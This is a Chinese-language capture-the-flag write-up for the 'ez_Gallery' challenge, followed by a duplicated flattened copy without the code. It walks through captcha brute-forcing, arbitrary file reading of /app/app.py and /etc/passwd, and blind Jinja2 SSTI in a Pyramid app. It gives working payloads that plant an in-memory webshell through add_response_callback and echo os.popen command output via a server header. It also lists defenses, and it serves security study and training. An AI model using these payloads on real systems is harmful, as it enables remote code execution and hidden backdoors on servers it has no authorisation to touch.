ez_Gallery预期解之内存马挖掘
字数 1112 2025-08-22 12:22:30

Pyramid框架内存马注入与无回显SSTI利用技术详解

1. 环境概述与漏洞背景

本案例基于ez_Gallery题目环境,主要考察以下知识点:

  1. 绕过验证码的弱密码爆破
  2. 任意文件读取漏洞利用
  3. Pyramid框架钩子函数使用
  4. 无回显SSTI漏洞利用技术

2. 初始渗透阶段

2.1 验证码绕过与弱密码爆破

技术要点:

  • 目标登录接口存在验证码但强度不足
  • 可使用自动化工具进行爆破

xiapao工具爆破步骤:

  1. 配置验证码图片链接
  2. 开启本地验证码识别服务
  3. 将验证码位置替换为@xiapao@1@
  4. 设置线程为1开始爆破

pkav工具爆破方法:

  1. 添加HTTP请求包
  2. 加载密码字典
  3. 配置验证码识别
  4. 直接发包爆破

2.2 任意文件读取漏洞

登录后访问/home路由,发现URL参数存在任意文件读取漏洞:

file_name = request.params.get('file')
file_path = os.path.join('/app/static/details/', file_name)

利用方法:

  • 读取应用源码:/app/app.py
  • 读取系统敏感文件:/etc/passwd

3. 漏洞代码分析

关键漏洞位于/shell路由的SSTI注入点:

expression = request.GET.get('shellcmd', '')
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})

限制条件:

  1. 无直接回显(仅返回success/error)
  2. 黑名单过滤:
    • .*length.*
    • .*count.*
    • .*[0-9].*
  3. 环境不出网
  4. 用户无写入权限

4. 无回显SSTI利用技术

4.1 Pyramid框架钩子函数利用

request对象钩子函数:

  1. add_response_callback
  2. add_finished_callback

内存马注入原理:
通过SSTI修改请求处理流程,在响应阶段插入恶意代码执行

利用Payload:

{{ cycler.__init__.__globals__.__builtins__['exec'](
   "request.add_response_callback(lambda request, response: setattr(response, 'text', __import__('os').popen('whoami').read()))",
   {'request': request}
)}}

关键点说明:

  1. 使用exec执行Python代码
  2. 必须传入{'request': request}以提供上下文
  3. 通过setattr修改响应内容

4.2 Header回显技术

技术原理:
修改ServerHandler的server_software属性,将命令执行结果写入HTTP头

利用Payload:

{{ cycler.__init__.__globals__.__builtins__['setattr'](
   cycler.__init__.__globals__.__builtins__.__import__('sys').modules['wsgiref'].simple_server.ServerHandler,
   'server_software',
   cycler.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
)}}

5. 防御措施

5.1 修复SSTI漏洞

  1. 避免直接渲染用户输入
  2. 使用严格的模板沙箱
  3. 实现更全面的黑名单过滤

5.2 加固验证机制

  1. 使用强验证码(如Google reCAPTCHA)
  2. 实现账户锁定机制
  3. 强制使用复杂密码

5.3 权限控制

  1. 最小权限原则
  2. 文件读取白名单
  3. 敏感操作二次验证

6. 扩展思考

  1. 其他Python框架(Flask、Django)的类似漏洞利用
  2. 无文件内存马持久化技术
  3. 基于流量特征的防御检测方法
  4. 无回显漏洞的盲注技术

本技术文档详细分析了Pyramid框架下的内存马注入技术,重点介绍了无回显情况下的两种有效利用方法,可作为Web安全研究和渗透测试的参考材料。

Pyramid框架内存马注入与无回显SSTI利用技术详解 1. 环境概述与漏洞背景 本案例基于ez_ Gallery题目环境,主要考察以下知识点: 绕过验证码的弱密码爆破 任意文件读取漏洞利用 Pyramid框架钩子函数使用 无回显SSTI漏洞利用技术 2. 初始渗透阶段 2.1 验证码绕过与弱密码爆破 技术要点: 目标登录接口存在验证码但强度不足 可使用自动化工具进行爆破 xiapao工具爆破步骤: 配置验证码图片链接 开启本地验证码识别服务 将验证码位置替换为 @xiapao@1@ 设置线程为1开始爆破 pkav工具爆破方法: 添加HTTP请求包 加载密码字典 配置验证码识别 直接发包爆破 2.2 任意文件读取漏洞 登录后访问 /home 路由,发现URL参数存在任意文件读取漏洞: 利用方法: 读取应用源码: /app/app.py 读取系统敏感文件: /etc/passwd 等 3. 漏洞代码分析 关键漏洞位于 /shell 路由的SSTI注入点: 限制条件: 无直接回显(仅返回success/error) 黑名单过滤: .*length.* .*count.* .*[0-9].* 环境不出网 用户无写入权限 4. 无回显SSTI利用技术 4.1 Pyramid框架钩子函数利用 request对象钩子函数: add_response_callback add_finished_callback 内存马注入原理: 通过SSTI修改请求处理流程,在响应阶段插入恶意代码执行 利用Payload: 关键点说明: 使用 exec 执行Python代码 必须传入 {'request': request} 以提供上下文 通过 setattr 修改响应内容 4.2 Header回显技术 技术原理: 修改ServerHandler的 server_software 属性,将命令执行结果写入HTTP头 利用Payload: 5. 防御措施 5.1 修复SSTI漏洞 避免直接渲染用户输入 使用严格的模板沙箱 实现更全面的黑名单过滤 5.2 加固验证机制 使用强验证码(如Google reCAPTCHA) 实现账户锁定机制 强制使用复杂密码 5.3 权限控制 最小权限原则 文件读取白名单 敏感操作二次验证 6. 扩展思考 其他Python框架(Flask、Django)的类似漏洞利用 无文件内存马持久化技术 基于流量特征的防御检测方法 无回显漏洞的盲注技术 本技术文档详细分析了Pyramid框架下的内存马注入技术,重点介绍了无回显情况下的两种有效利用方法,可作为Web安全研究和渗透测试的参考材料。